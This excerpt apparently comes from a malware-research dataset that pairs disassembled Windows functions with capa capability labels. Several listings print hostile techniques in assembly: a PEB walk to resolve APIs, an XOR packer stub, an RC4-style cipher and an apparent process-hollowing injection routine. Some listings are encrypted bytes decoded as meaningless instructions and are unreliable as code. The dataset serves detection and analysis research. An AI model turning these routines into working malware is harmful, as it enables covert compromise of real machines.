joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401cfc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x824], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401820
mov eax, dword [ebp - 8]
call fcn.00401820
xor eax, eax
push ebp
push 0x401e78
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
call fcn.004016a8
mov eax, dword [ebp - 4]
call fcn.004017d4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
call fcn.004017d4
mov dword [ebp - 0x18], eax
xor ebx, ebx
lea eax, [ebp - 0x820]
mov dword [eax], ebx
inc ebx
add eax, 4
cmp ebx, 0x1c8
jne 0x401d5d
xor esi, esi
xor ebx, ebx
lea ecx, [ebp - 0x820]
mov eax, ebx
cdq
idiv dword [ebp - 0x18]
mov eax, dword [ebp - 8]
movzx eax, byte [eax + edx]
mov edi, dword [ecx]
add esi, edi
add eax, esi
mov esi, 0x1c8
cdq
idiv esi
mov esi, edx
mov eax, edi
mov edx, dword [ebp + esi*4 - 0x820]
mov dword [ecx], edx
mov dword [ebp + esi*4 - 0x820], eax
inc ebx
add ecx, 4
cmp ebx, 0x1c8
jne 0x401d75
xor ebx, ebx
xor esi, esi
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x401e52
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0
lea eax, [ebx + 1]
mov ecx, 0x1c8
cdq
idiv ecx
mov ebx, edx
mov ecx, dword [ebp + ebx*4 - 0x820]
mov eax, ecx
add eax, esi
mov esi, 0x1c8
cdq
idiv esi
mov esi, edx
mov eax, ecx
mov edx, dword [ebp + esi*4 - 0x820]
mov dword [ebp + ebx*4 - 0x820], edx
mov dword [ebp + esi*4 - 0x820], eax
mov eax, dword [ebp + ebx*4 - 0x820]
add eax, dword [ebp + esi*4 - 0x820]
mov ecx, 0x1c8
cdq
idiv ecx
mov dl, byte [ebp + edx*4 - 0x820]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
xor dl, byte [eax + ecx]
lea eax, [ebp - 0x824]
call fcn.004017c4
mov edx, dword [ebp - 0x824]
mov eax, dword [ebp - 0xc]
call fcn.004017dc
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0x10]
dec dword [ebp - 0x1c]
jne 0x401dcb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401e7f
lea eax, [ebp - 0x824]
call fcn.004016a8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004016cc
ret
Function at 0x4021f0
Capabilities:
Access peb ldr_data
Get file size

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x40234b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, 0x402364
call fcn.00401740
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x40468c], eax
mov eax, 0x401c8c
mov dword [0x404694], eax
push 0x402370
mov eax, dword [0x40468c]
push eax
call dword [0x404694]
mov dword [0x404690], eax
push 0x402380
mov eax, dword [0x40468c]
push eax
call dword [0x404694]
mov dword [0x404698], eax
lea eax, [ebp - 0x10]
mov edx, 0x402398
call fcn.00401740
lea eax, [ebp - 0x14]
mov edx, 0x4023a8
call fcn.00401740
push 0
push 0x4023b0
call sub.kernel32.dll__lopen
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
lea eax, [ebp - 4]
mov edx, esi
call fcn.00401900
push esi
lea eax, [ebp - 4]
call fcn.00401870
push eax
push ebx
call sub.kernel32.dll__lread
push ebx
call sub.kernel32.dll__lclose
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
call fcn.004018b8
mov ebx, eax
mov eax, dword [ebp - 0x14]
call fcn.004017d4
sub ebx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.004018b8
sub ebx, eax
push ebx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.004018b8
mov ebx, eax
mov eax, dword [ebp - 0x10]
call fcn.004017d4
add ebx, eax
mov edx, ebx
mov eax, dword [ebp - 4]
pop ecx
call fcn.00401878
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.00401cfc
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xc]
call fcn.00401740
lea eax, [ebp - 0xc]
call fcn.00401870
mov dword [0x40469c], eax
call fcn.00401e88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402352
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004016cc
ret
Function at 0x408898
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42b7a4], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
je 0x4088b5
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
jmp 0x4088e3
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x4088be
mov dword [ecx*4 + 0x42b7a0], eax
inc ecx
cmp ecx, 0x100
jne 0x4088b7
jmp 0x4088a9
cmp edx, ebx
je 0x4088fc
inc edx
mov cl, al
shr eax, 8
xor cl, byte [edx - 1]
movzx ecx, cl
xor eax, dword [ecx*4 + 0x42b7a0]
jmp 0x4088e3
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x420730
Capabilities:
Encode data using xor

Disassembly:
shl edi, 0xe8
outsd dx, dword [esi]
add eax, 0x757dc51c
inc ebx
in eax, dx
sub eax, 0x83acdc1c
mov ebp, 0xa53af6ca
test byte [esi], 0xc1
imul ebp, dword [esi - 0x35cb4a27], 0xfffffffd
and eax, dword [0xf0745b82]
add eax, 0xbc89bea
dec ecx
push 0xfffffffffffffffb
adc bh, al
invalid
mov ch, 0x34
retf 0x23fd
mov byte [0x8277c756], al
pop ds
push ss
cmp al, 0xa5
cmp dword [ebp - 0x78], 0x5f
fcom dword [0x9f9d59c9]
popfd
lahf
nop
cmp al, 0x7b
pop es
mov edi, 0x18fec1d3
out dx, eax
xor byte [ebx + esi*2 - 0x4de671cc], ah
xor edi, edi
jle 0x4206d8
daa
xchg ecx, eax
std
mov bl, 0x72
sbb al, 0x31
xor eax, 0x7074e78
xor byte [esi + 0xb], bl
jnp 0x4206b2
mov eax, 0x893fcea1
aas
jge 0x42069c
fucompi st(3)
loopne 0x42073d
into
cmpsd dword [esi], dword es:[edi]
mov byte [ecx + ecx*4], bh
loop 0x4206b8
pop edx
mov esi, 0x78313f04
pop ecx
pop es
cdq
xor dword [esi + 0x76], edi
aas
xlatb
leave
jl 0x42079c
dec esi
jl 0x4206e9
repne cmpsd dword [esi], dword es:[edi]
jmp 0x4207a1
pop eax
movsd dword es:[edi], dword [esi]
jmp dword [ebp - 0x785366fe]
cmpsb byte [esi], byte es:[edi]
add eax, 0x21c1d6bf
mov word [edi - 7], ds
test byte [esi], bh
sub al, 0xe2
invalid
jl 0x4207d3
scasd eax, dword es:[edi]
jecxz 0x42074d
aam 0x9f
stosd dword es:[edi], eax
movsd dword es:[edi], dword [esi]
invalid
inc ebx
cmp bh, byte [eax]
mov ebp, gs
mov ebp, 0xf7a0e9c9
pushfd
jnp 0x42078c
loopne 0x42079f
push edi
wait
insd dword es:[edi], dx
outsd dx, dword [esi]
stc
leave
lodsb al, byte [esi]
outsb dx, byte [esi]
jnp 0x42079c
invalid
retf
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x5b48672c
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x27d714e9
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4223fa
Capabilities:
Encrypt data using rc4 prga

Disassembly:
movzx eax, word [edx + edi]
mov word [edi], ax
mov bh, 4
cmp ah, byte [esi - 0x77]
pop es
add edi, 2
jne 0x422791
dec ecx
jne 0x4223f9
test ecx, ecx
je 0x422427
dec ecx
je 0x422427
xor eax, eax
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
pop edi
mov eax, esi
pop esi
push 0xffffffffffffffc3
push ebx
mov ebx, esp
push ss
dec esp
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
clc
mov ecx, dword [ebx - 0x7499f7b5]
push ebx
or al, 0x83
in al, dx
and byte [ebx + 0x2401543d], al
and byte [ecx], al
jl 0x42249d
movzx eax, dx
movd xmm0, eax
pshuflw xmm0, xmm0, 0x16
pshufd xmm2, xmm0, 0
mov eax, ecx
and eax, 0x16840fff
cmp eax, 0x16840ff0
ja 0x4224b2
movdqu xmm0, xmmword [ecx]
pxor xmm1, xmm1
pcmpeqw xmm1, xmm0
pcmpeqw xmm0, xmm2
por xmm1, xmm0
pmovmskb eax, xmm1
test eax, eax
jne 0x4224c4
add ecx, 0x10
jmp 0x422466
cmp ax, dx
mov dword [ebx], ecx
add ecx, 2
movzx eax, word [ecx]
test ax, ax
jne 0x422495
xor eax, eax
cmp word [ecx], dx
setne al
dec eax
and eax, ecx
jmp 0x4224d4
movzx eax, word [ecx]
cmp ax, dx
je 0x4224d2
jne 0x423448
add ecx, 2
jmp 0x422466
bsf eax, eax
mov dword [ebp - 4], eax
add ecx, eax
jmp 0x4224a5
mov eax, ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
fcomp st(3)
sub eax, 0x4928e0
mov eax, 0x6a044e
jmp 0x45330c
cmp eax, 1
jne 0x23d78db
adc eax, 0x56a0c7d
push eax
push edi
call 0x8c41c09e
inc esi
add byte [edx + 1], ch
push 0
push edi
call 0x9411bde
mov esi, eax
dec ebp
in al, dx
sbb al, 0x89
inc ebp
in al, dx
xor eax, 0x8bfffbf9
dec ebp
fmul qword [edi]
mov esi, ds
push eax
push eax
push 0
push edi
mov dword [esi + 0xc], eax
mov dword [esi], ecx
call 0x9411bde
mov esi, eax
dec ebp
in al, dx
adc byte [esi + ecx*8], al
call fcn.00412c6e
mov eax, dword [ebp - 0x10]
push 2
invalid
Function at 0x405c83
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4345c0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x405caf
push edi
call esi
cmp eax, 0xffffffff
jne 0x405cf1
test ebx, ebx
je 0x405cee
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x405ce8
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
mov eax, esi
jmp 0x405cf1
call fcn.00401abd
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406306
Capabilities:
Get disk information

Disassembly:
mov eax, 0x434664
call fcn.004339e0
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0041c900
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x4063d4
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406342
mov eax, ebx
add eax, eax
push eax
call fcn.0040b97d
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x4063cd
cmp ebx, dword [ebp - 0x14]
ja 0x4063cd
lea ecx, [ebp - 0x2c]
call fcn.004028e9
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x4063b5
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4063aa
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.0040b97d
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406380
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401abd
push esi
call fcn.00401abd
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x4063d6
push esi
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40b97d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40b98c
pop dword [ebp - 0x28]
mov eax, 0x39afcb3d
add eax, 0xc690ee4f
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x3b0ae
push 0
mov eax, 0xaff44dad
add eax, 0x504f3283
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0xd539f694
sub ecx, 0xd539ae2e
mov ebx, eax
mov esi, 0x44c600
add esi, dword [ebp - 0x28]
mov edx, 0x17d0d6e4
xor dword [ebp - 0x24], 0x9bcb2bb4
mov edi, dword [esi]
sub dword [ebp - 0x1c], 0xfec8b6df
sub edi, edx
add dword [ebp - 0x20], ebx
mov dword [ebx], edi
xor dword [ebp - 0x1c], edx
add ebx, 0xd6cffef8
sub ebx, 0xd6cffef4
add esi, 0x1e18720a
add esi, 0xe1e78dfa
loop 0x40b9df
add eax, 0x1146b
xor ebx, ebx
add ebx, eax
add eax, 0x845342f1
add eax, 0x7bacbd14
mov ecx, 0x8e7c72f9
add ecx, 0x71c38d07
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x402390
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Distribufgy
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x408d98]
test eax, eax
je 0x4023e5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x408d94]
test eax, eax
je 0x402431
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x408d90]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x408d90]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402458
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402485
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x4024a9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4024cb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4024fd
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x40252d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402566
push str.Distribufgy
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Distribufgy
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x402587
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x403180
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
mov ecx, dword [eax]
mov eax, 0xaaaaaaab
add ecx, 2
mov dword [ebp - 0xc], ebx
mul ecx
push esi
push edi
shr edx, 1
mov ecx, ebx
shl edx, 2
push 0x3d
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
push edx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov byte [ebx], 0
call fcn.00416d40
cmp dword [ebx + 0x14], 0x10
mov edi, ebx
jb 0x4031d3
mov edi, dword [ebx]
mov ecx, dword [ebp - 4]
xor edx, edx
mov dword [ebp - 4], 3
xor esi, esi
mov ecx, dword [ecx]
mov eax, ecx
div dword [ebp - 4]
sub ecx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], ecx
je 0x40327e
mov eax, dword [ebp - 8]
dec ecx
add eax, 2
mov dword [ebp - 4], eax
mov eax, 0xaaaaaaab
mul ecx
mov eax, edx
mov edx, dword [ebp - 4]
shr eax, 1
inc eax
mov ebx, eax
movsx ecx, byte [edx - 2]
lea edx, [edx + 3]
movsx eax, byte [edx - 4]
shl ecx, 8
or ecx, eax
movsx eax, byte [edx - 3]
shl ecx, 8
or ecx, eax
mov eax, ecx
sar eax, 0x12
movzx eax, byte [eax + 0x434ef8]
mov byte [edi + esi], al
mov eax, ecx
sar eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + 0x434ef8]
mov byte [edi + esi + 1], al
mov eax, ecx
sar eax, 6
and ecx, 0x3f
and eax, 0x3f
movzx eax, byte [eax + 0x434ef8]
mov byte [edi + esi + 2], al
movzx eax, byte [ecx + 0x434ef8]
mov byte [edi + esi + 3], al
add esi, 4
sub ebx, 1
jne 0x403211
mov ebx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
test edx, edx
je 0x4032f5
mov eax, dword [ebp - 8]
movsx eax, byte [ecx + eax]
sub edx, 1
je 0x4032a8
mov ebx, dword [ebp - 8]
shl eax, 8
movsx ecx, byte [ecx + ebx + 1]
mov ebx, dword [ebp - 0x10]
or ecx, eax
mov eax, ecx
sar eax, 0xa
and eax, 0x3f
jmp 0x4032ad
mov ecx, eax
sar eax, 2
mov al, byte [eax + 0x434ef8]
mov byte [edi + esi], al
mov eax, ecx
test edx, edx
je 0x4032c4
sar eax, 4
and eax, 0x3f
jmp 0x4032ca
and eax, 3
shl eax, 4
mov al, byte [eax + 0x434ef8]
mov byte [edi + esi + 1], al
test edx, edx
je 0x4032ef
and ecx, 0xf
mov al, byte [ecx*4 + 0x434ef8]
mov byte [edi + esi + 2], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov al, 0x3d
mov byte [edi + esi + 2], al
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404a10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x43a00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
push eax
push 0
call dword [0x42f0c4]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x404c35
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x404c35
push 0x44
lea eax, [ebp - 0x14c]
push 0
push eax
call fcn.004197a0
add esp, 0xc
lea eax, [ebp - 0x160]
xorps xmm0, xmm0
movups xmmword [ebp - 0x160], xmm0
push eax
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [0x42f074]
test eax, eax
je 0x404c35
push 4
push 0x1000
push 4
push 0
call dword [0x42f0b0]
mov ebx, eax
push ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x15c]
call dword [0x42f058]
test eax, eax
je 0x404c35
push 0
push 4
lea eax, [ebp - 0x150]
push eax
push 0x434fc4
push dword [ebp - 0x160]
call dword [0x42f06c]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 0x150], eax
jne 0x404b2c
push 0x434fc8
push 0x434fe0
call dword [0x42f09c]
push eax
call dword [0x42f05c]
push dword [ebp - 0x150]
push dword [ebp - 0x160]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x160]
call dword [0x42f060]
mov dword [ebp - 0x168], eax
test eax, eax
je 0x404c35
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x160]
call dword [0x42f0c0]
mov eax, 1
mov dword [ebp - 0x164], 1
cmp ax, word [edi + 6]
ja 0x404bce
mov ebx, 0x28
nop
lea ecx, [ebx + esi]
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0xe0]
mov eax, dword [ecx + 0xe4]
add eax, esi
push eax
mov eax, dword [ecx + 0xdc]
add eax, dword [ebp - 0x168]
push eax
push dword [ebp - 0x160]
call dword [0x42f0c0]
mov ecx, dword [ebp - 0x164]
lea ebx, [ebx + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x164], ecx
cmp ecx, eax
jle 0x404b80
mov ebx, dword [ebp - 0x16c]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x160]
call dword [0x42f0c0]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x168]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x15c]
call dword [0x42f07c]
push dword [ebp - 0x15c]
call dword [0x42f0a4]
push 0x8000
push 0
push esi
call dword [0x42f0b8]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004180d2
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push esi
call dword [0x42f0b8]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004180d2
mov esp, ebp
pop ebp
ret
Function at 0x402fa0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4ad020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403038
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403018
xor eax, eax
push ebp
push 0x403011
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403054
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403018
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4ad020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4ad020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cfc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4b0048], 0
je 0x403d5d
cmp word [0x4b021c], 0xd7b2
jne 0x403d25
cmp dword [0x4b0224], 0
jbe 0x403d25
mov eax, 0x4b0218
call dword [0x4b0234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4ad06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d84
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4ad030], 0
jne 0x403d79
push 0
push 0x4ad064
push 0x4ad06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403eb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004026dc
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4b0049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403e78
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc